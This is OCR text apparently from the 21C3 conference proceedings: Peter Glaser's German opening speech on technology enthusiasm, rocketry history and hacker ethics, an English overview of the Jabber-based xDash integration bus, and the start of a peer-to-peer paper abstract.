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Peter Glaser
Erdffnungsrede zum 21. Chaos Communication Congress
"21C3: The Usual Suspects"

Liebes Mitchaos,
Liebe Freundinnen und liebe Freunde,

Casablanca and beyond

"Verhaften Sie die ublichen Verdachtigen" — von dem Zitat aus dem Film "Casablanca"
kbnnte man gleich uberleiten in die Gegenwart und zu den Hackern als einer artver-
wandten Truppe Ublicher Verdachtiger. Es lohnt sich aber, zuvor noch einen Augenblick
auf der Zeitkoordinate des Films zu verweilen.

Im Fruhsommer 1942, als "Casablanca" gedreht wurde, war Frankreich von deutschen
Truppen besetzt. Die Gerhard Fieseler Werke GmbH in Kassel Ubernahmen gerade den
Bau der Flugbombe FI 103, der Urahnin aller Marschflugkdrper. Propagandaminister
Goebbels gab der FI 103 in zynischer Umkehrung der Verhaltnisse den Namen "Vergel-
tungswaffe 1". Der V1 folgte am 3. Oktober 1942 der erste erfolgreiche Start einer
Aggregat 4-Rakete von einem Prufstand der Heeresversuchsanstalt Peenemunde.
Auch die A4 wurde umbenannt, sie hieB nun "Vergeltungswaffe 2".

Auf die Verkleidung der ersten V 2 war auf Hohe der Triebwerksbrennkammer eine
nackte Frau in schwarzen Seidenstrumpfen gemalt, die sich auf einer Mondsichel rakelt
— eine Anspielung auf einen Film, der 13 Jahre zuvor in Deutschland eine
Raketeneuphorie ausgeldst hatte: "Die Frau im Mond" von Fritz Lang.

Es lohnt sich, ehe wir uns wieder den Ublichen Verdachtigen der Gegenwart zuwenden,
einen Umweg uber die Vergangenheit zu machen und eine kleine Geschichte der
Technikbegeisterung zu versuchen. Den Deutschen ist die Beschaftigung mit der
Vergangenheit als Suhne auferlegt, deshalb hauen sie besonders gern in die Zukunft
ab.

Da ist die groBBe Frage, woher diese ungewodhnlichen Antriebskrafte kommen, die
Technikbegeisterung erzeugen, und vor allem, wohin sie fuhren.

Das 20. Jahrhundert leuchtet nur so vor jungen Menschen, deren Begeisterung an
technischem Neuerungen entflammt ist. Ein paar von ihnen haben das ganze
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Jahrhundert in Brand gesteckt. Jede neue Technik hat eine Welle der Euphorie
ausgelost. Lewis Mumford beispielsweise, der Autor des Buchs "Der Mythos der Ma-
schine", ein Buch, das aus dieser Welt eine bessere Welt machen wirde, wenn es ein
Schulbuch ware — Lewis Mumford also erzahlt von der Zeit zu Anfang des 20.
Jahrhunderts:

"In meiner Jugend las ich "Modern Electrics", und die neuen Mittel der drahtlosen
Kommunikation nahmen meine Junglingsphantasie gefangen. Nachdem ich meinen
ersten Radioapparat zusammengebastelt hatte, war ich hocherfreut, als ich tatsachlich
Botschaften von nahe gelegenen Stationen empfing, und ich fuhr fort, mit neuen
Geraten und Anschlussen zu experimentieren, um noch lautere Botschaften von weiter
entfernten Sendestationen zu empfangen. Aber ich machte mir nie die Muhe, das
Morsealphabet zu lernen oder zu verstehen, was ich da horte."

Hier ist bereits der klassische Kontrapunkt zu erkennen: auf der einen Seite eine
Kristallisation von Vernunft und menschlicher Erfindungsgabe, ein technisches Gerat,
und auf der anderen Seite eine VerheiBung, eine Bezauberung, eine Trance, die mit
Vernunft nicht das geringste zu tun hat und die tief in die stammesgeschichtliche
Herkunft des Menschen hinabreicht. Die zu tun hat mit Magie und der phantastischen
Empfindung, wenn ein auBerer Gegenstand, ein Gerat, auf geheimnisvolle Weise mit
einem Gefuhl, mit einer Gestalt im Inneren des Menschen uUbereinstimmt.

Berlin in den zwanziger Jahren

Unsere kleine Geschichte der Technikbegeisterung beginnt im Berlin der zwanziger
Jahre. Sie fuhrt durch die Abgrunde des Dritten Reichs bis auf den Mond und findet sich
schlieBlich in einer ehemaligen Nato-Raketenstation bei Dusseldorf und hier in Berlin
wieder in der Gegenwart ein.

Der Film "Die Frau im Mond" war der Kassenschlager der Kinosaison 1929 auf 1930,
Lang hatte den Film nach einem Roman seiner Frau Thea von Harbou gedreht.
Wahrend drauBen die Weltwirtschaftskrise die Existenz von Millionen Menschen
bedrohte, konnte man sich im Kino von der atemberaubenden lllusion eines deutschen
Raumschiffs einfangen lassen, das zum ersten Mal zum Mond fliegt.

Zwei Jahre zuvor, 1927, hatte Fritz Lang "Metropolis" gedreht. In dem Film gibt es einen
Erfinder, der C. A. Rotwang heiBt, ein sprechender Name und nur scheinbar ein
Gegenbild zum bleichen Nerd; die roten Wangen verraten die fiebrige Hitze, die zu den
untruglichen Symptomen des Fasziniertseins gehort.

Zu den ergriffensten Besuchern der "Frau im Mond" gehorten die Mitglieder des
privaten "Vereins fur Raumschiffahrt" in Berlin, darunter Max Valier, der alles, was
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fahrbar war, mit einem Raketenantrieb versah und der von Fritz von Opel gesponsert
wurde. Die Vision war: der erste Deutsche in einer Rakete von Opel im All. Ebenfalls zu
den Raketenfreunden gehorte Professor Hermann Oberth, der mit seinem Buch "Die
Rakete zu den Planetenraumen" ein Pionierwerk der Raketenidee verfaBt hatte, auBer-
dem der junge Wernher von Braun.

Es gab ein Hochgefuhl in dem Raumschiffahrtsverein, als Avantgarde des technischen
Fortschritts auf eine Welle der Modernitat zu reiten. Die Ufa zahlte Hermann Oberth
17.500 Mark, um eine zwei Meter lange Rakete zu bauen, die anlaBlich der Premiere
der "Frau im Mond" zu Reklamezwecken aufsteigen sollte (was sie nicht tat).
Inzwischen begann sich das Heereswaffenamt fur Raketen zu interessieren. Die
Reichswehr suchte nach Moglichkeiten der Wiederbewaffnung, mit denen sich die
Beschrankungen der Versailler Vertrage umgehen lieBen. Artillerie-Aufrustung war nicht
gestattet, aber von Raketen stand nichts in den den Vertragen — als sie abgefaBt
wurden, gab es die Technik noch gar nicht.

Mittelbau-Dora

Die Raketenfreunde, allen voran Wernher von Braun, lieBen sich auf einen faustischen
Pakt mit den Nationalsozialisten ein. Bei der Massenproduktion der V2 im
Konzentrationslager Mittelbau-Dora bei Nordhausen starben bis Kriegsende Uber
10.000 Zwangsarbeiter an den unmenschlichen Lebens- und Arbeitsbedingungen in
dem Stollensystem. Die V2 war die erste Waffe, bei deren Bau mehr Menschen ums
Leben kamen als durch ihren Einsatz.

Wie spater bei der bemannten Mondlandung handelt es sich bereits bei der Entwicklung
der deutschen Raketenwaffen um GroBtechnologien, deren Aberwitz niemanden zu
storen schien.

"Die technische Faszination, herkbmmlichen Schranken zu durchbrechen und Uber
noch nie dagewesene Entfernungen schieBen zu konnen, lieB eine exakte Prufung der
voraussichtlichen Wirkung ... auf den Verlauf eines Krieges uberhaupt nicht zu",
schreibt Werner Eisfeld in "Mondsuchtig", einer kritischen Biografie Wernher von
Brauns. Schon ein Vergleich zwischen einer Rakete und einem schweren Bomber hatte
zu fur die Raketentechnik auBerst unvorteilhaften Fragen gefuhrt.

Die MiBerfolge der deutschen Militars gegen die Englander forcierte den Ubergang vom
Krieg zum Terror, wenn man auf diesen Unterschied noch Wert legt — den Ubergang
von der geregelten Unmenschlichkeit zur ungeziugelten Unmenschlichkeit. Walter
Dornberger, der Chef des deutschen Raketenwaffenprogramms und Forderer von
Wernher von Braun, betonte bereits Mitte 1941, dass neben der, wie er es ausdriuckte:
"materiellen Wirkung" ein Raketenbeschuf3 "groBte moralische Erfolge" erzielen wurde.
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Ernst Stuhlinger, spater einer der deutschen Chefwissenschaftler bei der NASA,
erinnert sich so: "Wir hatten nicht das Gefuhl, dass wir eine Vergeltungswaffe
entwickelten. ... Unser Ziel war eine leistungsstarke, steuerbare, hochprazise Rakete."

Keine Waffe: eine Rakete. Prazise Technik. Leben und Denken in einer Schneekugel.
Man sieht, was rund um einen herum vor sich geht, aber da ist diese glaserne Wand...
Auch wenn er es nach dem Krieg immer bestritten hat: Wernher von Braun wuBte sehr
wohl, unter welchen Umstanden die Arbeitssklaven im KZ Mittelbau-Dora die von ihm
und seinen Ingenieuren entwickelten Raketen zusammenbauen muBten.

"Die Wissenschaft hat keine moralische Dimension", so Wernher von Braun. "Sie ist wie
ein Messer. Wenn man es einem Chirurgen und einem Mborder gibt, gebraucht es jeder
auf seine Weise."

"LaBt mich in Ruhe mit euren Gewissensbissen", sagte im Fruhsommer 1945 der
Kernforscher Enrico Fermi auf alle Einwande von Kollegen gegen den Bau der
Atombombe: "Das ist doch so schone Physik."

Es ist der klassische Ansatz des Technokraten, um Verantwortung zu vermeiden. Die
Technik wird zum Selbstzweck ernannt.

Joseph Weizenbaum beschreibt eindrucksvoll die Verflechtungen der Militarmaschinerie
und der aufkommenden Computertechnik in den sechziger Jahren. Alarmierend ist die
zunehmende Diffusion von Verantwortung. Die Luftaufnahmen aus
Aufklarungsflugzeugen wurden elektronisch ausgewertet, das Ergebnis der Software-
operationen waren (und sind heute mehr denn je) Kastchen auf einer Landkarte,
sogenannte "kill boxes", in denen Piloten das Recht hatten auf alles zu schieBen, was
sich bewegt. Wer ist verantwortlich fur Zivilisten, die getdten werden? Die Maschine.

Die Verbindung von Technik und Moral nicht zu kappen sondern zu starken und immer
wieder kritisch zu Uberprufen, gehort zu den Grundlagen des Hackens. Die Erkenntnis,
dass technischer und moralischer Fortschritt nicht gleichzusetzen sind, haben Hacker
weit eher gefordert als Manner wie Fermi oder von Braun.

Gut und Bose: Umwertung der Werte

Der CCC hat in Deutschland mit seiner Politik des Offnen und der Offenheit einen
Freiraum geschaffen, in dem neue Techniken eingehend und manchmal
unkonventionell untersucht werden kdbnnen, ohne dass es sofort Legalitatskonflikte gibt.
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Einen Freiraum, den weder der akademische Betrieb, noch ein Unternehmen oder eine
Behorde bieten kbnnen.

Es ging von Anfang an um Teilnahme. Wir wollten am Netz teilnehmen und die elitare
Abgeschlossenheit der Wissenschaftlergemeinde knacken. Jeder sollte am Netz
teiinehmen kdonnen. Wahrscheinlich war es auch kein Zufall, dass Ausgangspunkt des
ersten international beachteten Netzhacks die Rechner im Goddard Space Flight Center
der NASA waren, und dass es wieder Deutsche waren, die sich da drin herumtrieben.
Der Nasa-Hack zog fur den Chaos Computer Club und sein Umfeld Hausdurchsu-
chungen und Verhaftungen nach sich, Karl Koch hat sich das Leben geanommen. In
den Jahren danach fand eine vollstandige Umwertung der Werte statt. Waren Hacker
erst als kriminelle Eindringlinge beschrieben worden, so stellte sich jetzt mit der
explosionsartigen Ausbreitung des Internet in der Offentlichkeit heraus, dass die
Teilnahme am Netz eigentlich erste Burgerpflicht sei und auch die Blinden, die Lahmen
und die Tauben noch auf Tragbahren ins Netz geschafft werden muBten.

Hacker: Kampf um die Definitionshoheit

Hacker setzen die Tradition der Aufklarung und des kritischen Denkens fort, vor allem
pragmatisch, nicht unbedingt als Theoretiker. Wenn man nach Freiraumen sucht, in
denen ein gesellschaftlicher Fortschritt stattfinden: hier ist einer. Anders als die
Achtundsechziger, deren bevorzugte Strategie die Verweigerung war, haben Hacker
zahlreiche konstruktive Methoden der gesellschaftlichen Teilnahme erprobt und
entwickelt.

Inzwischen haben die Medien allerdings den Begriff Hacker fur inre Zwecke umgefarbt.
Furs Fernsehen und Zeitungen sind Hacker nur interessant, wenn sie fur einen Thrill
sorgen, eine Negativmeldung also.

Fur 90 Prozent der Schadprogramme, die im Internet inr Unwesen treiben, seien
organisierte Kriminelle verantwortlich, berichtet beispielsweise die Computerwoche am
10. Dezember, das habe eine aktuelle Bestandaufnahme der Moskauer Security-Firma
Kaspersky Labs ergeben. "Lediglich zehn Prozent des bbsartigen Codes gehen auf das
Konto von Teenagern", sagt Eugene Kaspersky, der Grunder und Leiter des Unterneh-
mens.

Kaspersky und die Computerwoche lassen im Dunklen, wie viel gutartiger Code von
Teenagern verfaBt wird.

Lieber wird Uber alberne Defacements so berichtet, als sei das nun das GroBte seit der
Erfindung des tiefen Tellers. Hier zeigt sich wieder die fatale Gewaltenteilung der
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medialen Berichterstattung, die weniger mit dem Wunsch nach Wirklichkeit zu tun hat,
als vielmehr mit dem Wunsch nach Unterhaltung: Auf der einen Seite ist der
Journalismus zustandig fur Nachrichten, und das heiBt nach wie vor: fur schlechte
Nachrichten; und auf der anderen Seite haben wir die Werbung, die die notorisch guten
Nachrichten anschleppt.

Irgendwo dazwischen klemmt die Realitat. Wir durfen nie aufhoren die Frage zu stellen,
ob man sie nicht vielleicht freihacken kann.

Im frohlichen Angedenken an unseren verstorbenen Freund und Chaospionier Wau
Holland mochte ich auch daran erinnern, dass sich das Hacken neben dem Umgang mit
hochgradigen Komplexitaten, Millionen Zeilen Quellcode und den Wissenskaskaden der
Wikipedia immer auch auf einfache Prinzipien oder Ideen zuruckfuhren laBt. Nicht im
Sinne von Albert Einstein, der mal gesagt hat: " Fur jedes Problem gibt es eine einfache
Losung. Sie ist immer falsch." Sondern im Sinne von Wau, der sagte, dass schon
jemand, der mit einer Kaffeemaschine heiBes Wasser fur eine Suppe macht, ein Hacker
ist — jemand, der Technik einer unvorhergesehenen, kreativen Nutzung zufuhrt.

Wenn man die beiden massefuhrenden Drahtenden eines Stromkabels vorn und hinten
in ein Wurstchen steckt, fungiert das Wurstchen als Widerstand und wird hei3, mit
anderen Worten: das Wurstchen wird zwar nicht unbedingt delikat, dafur aber extrem
schnell gegrillt. Das ist Hacken. Diese Haltung hat von Anfang an unseren
Forschergeist beflugelt, und jeder konnte und kann seinen Beitrag dazu leisten.

Koschere Maschinen

Dass unorthodoxe Techniknutzung auch orthodox sein kann, beweist die folgende
Geschichte.

Von Freitagabend nach Sonnenuntergang bis Samstagabend, wenn die ersten drei
Sterne am Himmel zu sehen sind — an Sabbat also — ist es orthodoxen Juden nicht
erlaubt, zu arbeiten, zu schreiben oder Feuer beziehungsweise dessen moderne
elektrische Entsprechungen anzuzunden.

Im Haushalt bedeutet das: kein Herd, kein Backofen und kein Lichtschalter, der betatigt
werden darf. Die judische Kuche ist durch das Feuer-Verbot am Sabbat beeinfluB und
kennt zahlreiche Speisen, die vor Sabbat-Beginn auf kleiner Flamme aufgesetzt werden
und dann ganz langsam garen. Die Beschrankungen in der Kuche wuBten findige
Glaubige seit langem elegant zu umschiffen. Manche klebten den Kontakt in der Kuhl-
schranktur ab, der beim Offnen das Licht im Inneren einschalten wirde (was verboten
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ist); andere schraubten, ehe am Freitag die Sonne unterging, das Gluhbirnchen aus der
Fassung.

Manche Herde waren fruher mit einer Sicherheitsautomatik ausgestattet, die das Gerat
nach 12 Stunden von selbst abschaltete. Ein am Freitagabend eingeschalteter Ofen war
also vor dem Abendessen am Samstag wieder kalt. Einige Hersteller bekamen mit,
dass dadurch fur manche Juden die Vorbereitung des Nachtmahls kompliziert wurde.
Sie lieBen die Sicherheitsautomatik Uberarbeiten. Der "Sabbat-Modus" war geboren.

Mit dem Einzug von High-Tech in die Kuche wurde es aber zunehmend schwieriger, sie
mit herkbmmlichen Methoden zu Uberlisten. Sensoren in Kuhlschranken lassen sich
nicht mehr so einfach ruhig stellen wie die alten mechanischen Fuhler. Inzwischen
lassen sich die Entwickler von Hausgeraten aber dabei beraten, wie man Maschinen
Sabbat-kompatibel machen kann.

Ist an einem Ofen oder einem Kuhlschrank der Sabbat-Modus aktiviert, bleibt die
Innenbeleuchtung aus, die Anzeigenfelder erloschen, Tone und Lufter sind stillgelegt.
Hightech-Gerate verwandeln sich fur 24 Stunden wieder in schlichte Nachkriegstechnik.
Damit kein Benutzer unabsichtlich eine vermeintliche Betriebsstorung auslost, ist der
Sabbat-Modus meist in einem abgelegenen Seitenzweig der Benutzerfuhrung
untergebracht.

Nicht immer ist es einfach, der Technik ein Schnippchen zu schlagen. In Kuhlschranken
von General Electric beispielsweise wurde eine automatische Temperaturanpassung
ausgeldst, wenn man ein paarmal hintereinander die Tur 6ffnete. Von Menschen
ausgeldste Temperaturregelung aber ist an Sabbat verboten. Geldst wurde das
Problem, indem die Kuhlschranksoftware nun auch emulieren kann, ein Modell aus den
neunziger Jahren zu sein — mit statischer Temperaturanpassung.

Rose Bowl Hack 1.0 und 2.0

1961 bekam das Massachussetts Institute of Technology einen PDP-1. Der MIT-
Modelleisenbahnbastlerclub umgab die Maschine mit einer eigenen Kultur, dem
Urschlamm der Hackerkultur.

Im selben Jahr hackten Studenten des Caltech in Pasadena das "Rose
Bowl"-Footballspiel. Einer von ihnen gab sich als Reporter aus und "interviewte" den
Verantwortlichen fur die sogenannten "card stunts" — das sind die Bilder, die erzeugt
werden, wenn die Leute im Publikum farbige Karten hochhalten. Anschliessend
manipulierten sie die Ablaufplane so, dass anstelle eines Huskies — des Maskottchens
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der gegnerischen Mannschaft — ein Biber zu sehen war, das Maskottchen des Caltech,
der "Ingenieur der Natur".

Vor knapp einem Monat zeigte sich, dass auch die Tradition der Analog-Hacks
fortgefuhrt wird (ein Jahr zu spat, wie ich finde, 2003 waren es 42 Jahre gewesen).

Die Rivalitat zwischen den Universitaten Harvard und Yale wird seit 121 Jahren
sorgsam gepflegt. Am 1. Dezember 2004 verteilten 20 Yale-Studenten, die sich als
Harvard-Anheizer ausgaben, an tber 1.800 Ehemalige ("Alumnis") rote und weiBe
Karten, die auf Kommando hochzuhalten waren, um den Aufruf "GO HARVARD"
sichtbar werden zu lassen.

Kurz vor Ende der ersten Spielhalfte wurde das Kommando gegeben, und Uber die
ganze Tribunenflache war das Selbsteingestandnis der Harvard-Leute zu lesen: "WE
SUCK".

Eigentum ist Diebstahl?

Es gibt auch sonderbare, weniger lustige Effekte, die die Moderne nach sich zieht.
Wenn ich Uber den neu bebauten Potsdamer Platz spaziere und die vanillefarbene
Einheitsarchitektur der Daimler-City sehe, habe ich den Eindruck, sowas wie den Sieg
der Plattenbauweise mit den Mitteln des Kapitalismus vorgefuhrt zu bekommen.

Ein ahnliches Gefuhl entsteht aus dem sonderbaren Widerspruch zu den
Ankundigungen der Industrie, den Datenstrom frei flieBen zu lassen, und andererseits
die immer restriktiveren Einkapselungen der Inhalte durch Digitales Rechte-
Management (DRM), wobei es sich dabei ja wohl eher um ein Entrechtungs-
Management handelt.

Geht es nach dem Willen der DRM-Falken, wird es ein Eigentumsrecht an digitalem Gut
Uberhaupt nicht mehr geben. Das vollstandige Verfugungsrecht — das, was fruher Besitz
oder Eigentum hie3 — gibt es moglicherweise bald nur noch fragmentarisch oder
temporar oder gar nicht mehr. Das Motto "Eigentum ist Diebstahl" erhalt damit eine
ganz neue, zeitgemaBe Bedeutung. Die Mittel der freien Marktwirtschaft sind so
erfolgreich, dass mit ihrer Hilfe nun offenbar auch die radikalen Grundideen des Kom-
munismus endlich durchgesetzt werden.

Wir, wie gesagt, nie aufhoren die Frage zu stellen, ob man die Realitat, zu der auch
Dinge wie der Gemeinsinn gehoren, nicht vielleicht freihacken kann.
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Was Hacker zu weit mehr als einem Haufen Technik-Freaks macht, ist das Konzept der
Hackerethik und von Utopien wie der eines Menschenrechts auf Information. Von den
Anfangen der Raumfahrt bis in die Ara von Atomkraftwerken und Mainframes wurden
immer nur Fragen der Machbarkeit erortert. Es waren Hacker und ihre zum Teil sehr ri-
skanten Unternehmungen, die einen Mainstream von moralischen und gesellschaftlich-
politischen Fragen und Forderungen im Zusammenhang mit neuen Technologien
initiiert haben.

Karl Kraus schreibt: "Es gibt nur eine Moglichkeit, sich vor der Maschine zu retten. Das
ist, sie zu benutzen." Und je langer wir mit der neuen Technologie umgehen, desto
mehr entdecken wird, was sie nicht kann. Sie vermittelt uns ein lebendiges Gefuhl von
Souveranitat.

Das Chaos lebt

Wahrend des ersten Golfkriegs 1991 haben sich erstmals in der Militargeschichte
Soldaten einem unbemannten Aufklarungsfahrzeug ergeben: Ein Trupp Iraker folgte
dem ferngelenkten amerikanischen Sondierwagelchen mit weien Fahnen.

Die Kunder der sogenannten Kunstlichen Intelligenz, Leute wie Moravec oder Warwick,
haben eine Vision entworfen, nach der die Menschen demnachst von uberlegenen
Apparaten interniert werden. Die Evolution wird von Maschinen fortgefuhrt, effizient und
mit der ihnen eigenen insektenhafter Eleganz und Kalte.

Wird sich die Aufgabe des Menschen in Zukunft darin erschopfen, nur noch als Gewiurz
eine Spur Unordnung in die Kabelsalate zu bringen? Liegt das eigentliche Talent des
Menschen also darin, fehlerhaft zu sein?

Tatsachlich kriecht die groBBte Gefahr aus der Ordnung hervor. Glanzend feststellen
kann man das beispielsweise, wenn man gerade frisch renoviert hat. Alles ist an seinem
Platz; gesaugt, frisches Tischtuch. Dann kommt, was Philosophen oft als Ziel
verkunden: Der Moment der Vollendung. Das einzige, was noch stort, ist man selber.
Man ist das einzige, was noch Dreck macht. Mit der Idee der Vollendung ist eine groBe
Falle aufgerichtet worden, und in einem solchen Moment schnappt sie zu.

Man denkt, dass man glucklich sein wird, aber von jeder Ascheflocke, die von der
Zigarette auf den Teppich fallt, springt einen ein MiBempfinden an, als hatte ein Hund
hingeschissen. Was fur ein jammerliches Selbstgefuhl: Ich bin, also store ich. Die
Lebendigkeit kommt erst in den nachsten Tagen wieder in dem selben Tempo, mit dem
sich der Glanz des Neuen verliert. Der liebe Dreck.
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Wehret der Vollendung, liebe Freundinnen und Freunde: sie ist es, die euch ungliucklich
macht. Nur das Chaos lebt.

Our Germans

Zusammen mit Wernher von Braun hat sich zu Kriegsende eine Gruppe von
Ingenieuren aus Peenemiinde den Amerikanern ergeben; sie wurden in die USA
gebracht. Erst sollte mutmaBlichen Kriegsverbrechern unter ihnen der Proze3 gemacht
werden, aber im Zuge der Aktion "Paperclip" — benannt nach einem Buroklammer-
Symbol auf den Personalakten — wurde der Vergangenheit der deutschen Technokraten
keine weitere Beachtung m ehr geschenkt. Der Kalte Krieg hatte begonnen. Ein anderer
Teil der Peenemunder war in die Sowjetunion gebracht worden und baute Raketen fur
die Russen.

In der Verfilmung von Tom Wolfes Geschichte der ersten amerikanischen Astronauten
gibt es diese Szene, in der jemand im Oktober 1957 die Tur zu einem Beratungszimmer
im WeiBen Haus aufrei3t und ausruft "Es heiBt Sputnik!". Auf einem Film, den Agenten
in einem russischen Raketenversuchsgelande gedreht haben, und der dann dem
Prasidenten vorgefuhrt wird, sind auch deutsche Wissenschaftler zu sehen. Ein
Geheimdienstmann versucht den Prasidenten zu beruhigen: "Our Germans are better
thant their Germans!"

Es war ubrigens keineswegs so, dass Wernher von Braun in Amerika die Idee einer
friedlichen Raumfahrt wieder azufgenommen hatte. Die Redstone, die seinen Ruf in den
USA begrundete, war die erste amerikanische Rakete mit einem Nuklearsprengkopf.
1968 wurde sie in der Bundesrepublik stationiert und 1973 durch die Pershing |
abgelost.

Im Dezember 1979 wurde der sogenannten NATO-Doppelbeschluss gefaBt, der die
Stationierung von amerikanischen Pershing lI-Mittelstreckenraketen als Gegenuber fur
die neue sowijetische Mittelstreckenrakete SS-20 vorsah. 1983 stimmte der deutsche
Bundestag der Stationierung der Pershing Il zu. Aus dem Widerstand gegen den
BeschluB erwuchs die deutsche Friedensbewegung. Vier Jahre spater wurde ein
Abkommen zwischen den USA und der UdSSR unterzeichnet, das die Zerstdrung
samtlicher Mittelstreckenraketen vorsah.

Als ich im September 2004 zu einer Lesung nach Dusseldorf eingeladen war, wunderte
ich mich erst uber den Namen des Veranstaltungsorts: Raketenstation.

Dann, dort in Hombroich am Rand von Dusseldorf, war ich zu Gast bei dem Lyriker
Thomas Kling, ein grandioser Lyriker Ubrigens, und seiner Gefahrtin, der Malerin Ute
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Langanky, einer wirklich groBartigen Malerin, und als ich mir die Hande waschen wollte,
stand ich im Bad vor drei Waschbecken nebeneinander. Es waren die alten
Mannschaftswaschraume der ehemaligen NATO-Raketenstation.

Am Kontrollturm leuchtet jetzt das Efeu, und dann saBen wir im Garten und schauten
Uber eine freundliche Pracht an Pflanzen und ich dachte: So rum kanns auch gehen,
erst Rasen und Raketen, dann Oleander und Ginko und Dichter und Malerinnen, und
zwei Filmemacherinnen aus Berlin waren auch mit dabei, und ich sah diesen schonen
Ort und ich dachte: gehackt.

Jetzt sind wir hier in Berlin, und da ist wieder eine Rakete, die Heart of Gold, und auch

das ist auBerordentlich zufriedenstellend, denn es ist eine Rakete, die dazu da ist, auf
keinen Fall die Bodenhaftung zu verlieren.

So. Die Spiele sind erbffnet.
Viel SpaBB am Gerat.
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xDash - The convergence between

backend and instant messaging

What is xDash?

xDash is an Enterprise Service Bus (ESB) for Enterprise Application Integration

(EAI). xDash is using Jabber as communication protocol and implementing the

concept of convergence between backend asynchronous messaging and instant

messaging.

Why should | use xDash?

You should consider using xDash when:

You have to manage a fast integration project with little time and low budget;
You are convinced, that integration has so many faces, that agile approach
and flexible design are better than buying a “silver bullet” from big names;
You are convinced, that integration is rather a continuous, never-ending
process than a single act of some software implementation;

You would like to concentrate on writing the integration logic in a well known
environment and have no time to learn myriads of new options and APIs with
little reuse;

You need an open human readable communication protocol (XML), where you
can see what is going on under the hood,;

You need a free open source multiplatform information bus for
publish/subscribe integration;

You are interested in a ground-breaking project dealing with the convergence

of instant and backend asynchronous messaging.
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How does the xDash work?

(1)

Receiver

xDash works on the conceptual level as follows (see picture above):
* A Sender gets from someone/something data for a job and the task to start it.
» Sender sends the data to the Archivist to keep him informed, about what he
has to do (1).
= Archivist sends the data to Receivers, who have to do the job (2).
= Each Receiver does his job (transforms the received data and puts where
needed) and sends the operation result back to the Archivist (3).

» The Archivist tracks all information about the success of the job (4).

What is the job of an xDash administrator?

»= An administrator plans, develops and deploys the solution.
= Administrator is responsible for checking Archivist’s work to see, if everything
is running smoothly. He can also start corrective actions, if something went

wrong.

What is the core of the xDash?

xDash is at basis every sort of an integration project, which sticks to the following

rules:
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= Communication over Jabber protocol;

» The extension of the message type to type=’job’ for all relevant messages;

» The message sending schema, in which always participate a message sender,
a message receiver and a message archivist (“integration chain”).

= For each sort of event, triggering a Sender, there is only one integration chain
defined on the server by a set of Jabber IDs and forwarding rules (“Who
knows whom” schema).

» The client software of Sender and Receiver knows nobody but the Archivist.

» The jabber server forwards Sender’s messages sent to the Archivist,

additionally to the Receivers.

Where is machine, where is software and where is a human?

= Sender is client software usually installed on a machine like web server, where
triggering events happen. It detects events in applications and runs without an
interference with humans. The development of the event detection is done by
the xDash administrator.

= Receiver is client software installed somewhere close to a system like ERP or
even on the same machine. It consumes data from the Sender’s job and does
the action processing, where needed. It runs without an interference with
humans. The development of the interaction with a system, like an ERP or
directory, is done by the xDash administrator.

= Archivist is client software installed on the same machine as Jabber server or
close to it. It tracks everything what happens to Sender and Receivers and
runs without an interference with humans.

» Administrative Tools are a set of software utilities installed usually on the same
machine as the xDash database. They allow administrator sorting messages

and purging the database.

“Who knows whom” schema explained

The publish/subscribe schema is implemented on Jabber server and in the client
software. It is assumed, that:
= Jabber server is security hardened and if necessary a HA jabber cluster build;
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Sender’s, Receiver’s, Archivist’s client configuration should give as little clue
as possible about the integration chain architecture;
Messages, foreign to the chain, should be stopped on the way to Sender,

Receiver and Archivist as early as possible.

Following rules are implemented on the client side:

Sender knows only Archivist;
Receiver knows only Archivist;
Archivist knows nobody but sends back a message entry confirmation, if a

valid Jabber ID exists and message type is ‘job’.

Following rules are implemented on the server by defining on Archivist’s account

appropriate Jabber XML forwarding rules for incoming messages:

If a message is from Sender forward it to Receivers;

Continue message delivery to the Archivist.

Survival strategy of the xDash integration architecture

“The show must go on!” — the foremost aim of the integration project is to
provide reliable communication between applications, close to the real time
from the integrated applications point of view. The data, which should be
published to other applications, has to be processed as soon as possible,
even at the cost of processing the same data again. This means, that the
working strategy of xDash must be fault tolerant, also to the internal problems.
Lazy evaluation —xDash assumes that in 99% cases everything goes well and
does things only when really needed. Processing information like data
extraction and transformation is done where the information is used — on the
receiver.

Storing only as much information as needed — In case something goes wrong
only as much information should be kept persistent as it is needed to

reconstruct and relaunch an action.
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How the xDash survival strategy is implemented?

= Each Sender, Receiver, Archivist are registered with the operating system
watching them constantly and restarting if killed by accident or internal error.

= Each Sender, Receiver, Archivist tries to reconnect to the server, when the
network connection is lost.

= Sender takes a job from the waiting queue and sends for tracking to the
Archivist. The Archivist’s forwarding rules on the jabber server forward the
message to the Receivers prior to the delivery to the Archivist (even if the
Archivist has some processing problems, the integration still works). After
successful serialisation, the Archivist sends the acknowledgment back to the
Sender. The Sender deletes the job from the waiting queue. If something
wrong happens, the job stays in the queue and waits for another trial.

= Each message has a unique key as the thread. The integration scripts in
“‘onMessage” event handler on Receivers should be written so that they are
tolerant to the same job coming double (this is an assumption valid for any
network application).

= Administrative Tools are nothing more than a set of utilities, which can be used
manually or in an automation script. They allow tracking and reconstructing of

actions and data, even if not all messages reached their destinations.
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A detailed look how xDash works — all pieces together

Sender
R 4

Receiver
R 4

Sender

jabber

account
L 4

Receiver

jabber
accgunt

(1)

Archivist

jabber
account
L 4

(4)

(2)

»
P

Arch

ivist
p

\ 4

A

A

\ 4

= Sender detects a new job in the waiting queue and sends to Archivist’s

account a job notification (1);

= The Archivist’s account checks, if the message is from Sender and forwards it

immediately to the Receiver’s account (2);

= The Archivist account delivers the message to the Archivist (3);

= The Archivist does serialisation and sends back to the Sender the OK-

acknowledgment (5);

» If the Archivist OK message comes (6), the Sender moves to the next job;

» The Receiver’s account delivers the message to the Receiver (4);

» The Receiver extracts the message and processes it. The result is sent to the

Archivist’s account (7);

= The Archivist’s account checks, if the message is from Receiver or Sender

and delivers it to the Archivist for serialisation (8).

What is your decision?

= The choice of the implementation of the Jabber server;

» The choice of the implementation for Sender, Receiver, Archivist and

Administrative Tools;
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= The choice of the Integration Planning Kit.

What can you find at the moment at the
http:lIxdash.jabberstudio.org?

= Reference implementation for Sender, Receiver, Archivist and Administrative
Tools in Perl. The Sender starts a job on dropping a file in a directory, the
name of the file is taken as the job thread. All the Perl code is self-explanatory.

= |[ntegration Planning Kit based on MS Excel;

= Documentation, how to do an integration project with the help of xDash;

= Inspirations for further development, for everybody who would like to

participate in the xDash project.

4 | 2IC3 | =Dash 1111



Towards Next-Generation Peer-to-Peer
Systems

Magnus Kolweyh, University of Bremen, mag@tzi.de

December 4, 2004

Abstract

The Internet has changed from a statically, television-like web page
space to a highly heterogeneous and extremely dynamic information plat-
